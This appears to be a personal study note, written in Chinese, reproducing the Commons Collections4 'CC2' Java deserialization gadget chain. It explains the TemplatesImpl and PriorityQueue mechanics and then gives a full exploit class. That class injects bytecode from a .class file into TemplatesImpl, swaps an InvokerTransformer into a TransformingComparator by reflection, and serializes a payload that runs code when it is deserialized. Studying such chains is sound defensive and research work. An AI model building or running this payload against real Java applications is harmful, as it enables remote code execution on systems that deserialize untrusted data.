Java反序列化-cc2链挖掘复现个人学习笔记
Java反序列化-cc2链挖掘复现(个人学习笔记)
CC2用到了之前CC4的知识,下面把CC4的链子分析的链接放到下面
流程图:
思路:
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()
使用InvokerTransformer来调用TransformerImpl的newTransformer方法,
因为是无参的所以也不需要给类和对象赋值
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
问题:
还是CC4里面的问题,如何让代码在反序列化中执行而不是提前执行?
1. 为什么需要两次
add()
?
PriorityQueue
在反序列化时会通过heapify()
方法重建堆结构。 当队列中有两个或更多元素时 ,heapify()
会触发元素的比较操作,从而调用TransformingComparator.compare()
方法。如果队列中只有一个元素,则无需比较,无法触发后续漏洞利用链。因此,必须添加至少两个元素。2. 为什么顺序不能调换?
反序列化时的比较顺序
当队列中存在元素
A
和B
时,heapify()
会依次比较它们。若将templates
(恶意对象)放在前面,比较时会 先调用其newTransformer()
方法 ,触发恶意代码。而如果先添加其他对象(如3
),比较时会 先尝试调用3.newTransformer()
(Integer
类型无此方法),导致异常并中断流程。TransformingComparator的工作机制
TransformingComparator
会分别对两个元素调用transform()
。若第一个元素是templates
,其transform()
会成功触发漏洞;而第二个元素即使失败(如3
),此时恶意代码已执行。
exp:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
//_name
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Rsecret2");
//_bytecodes
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp1\\cc3_dynamic.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(3);
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);
// serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}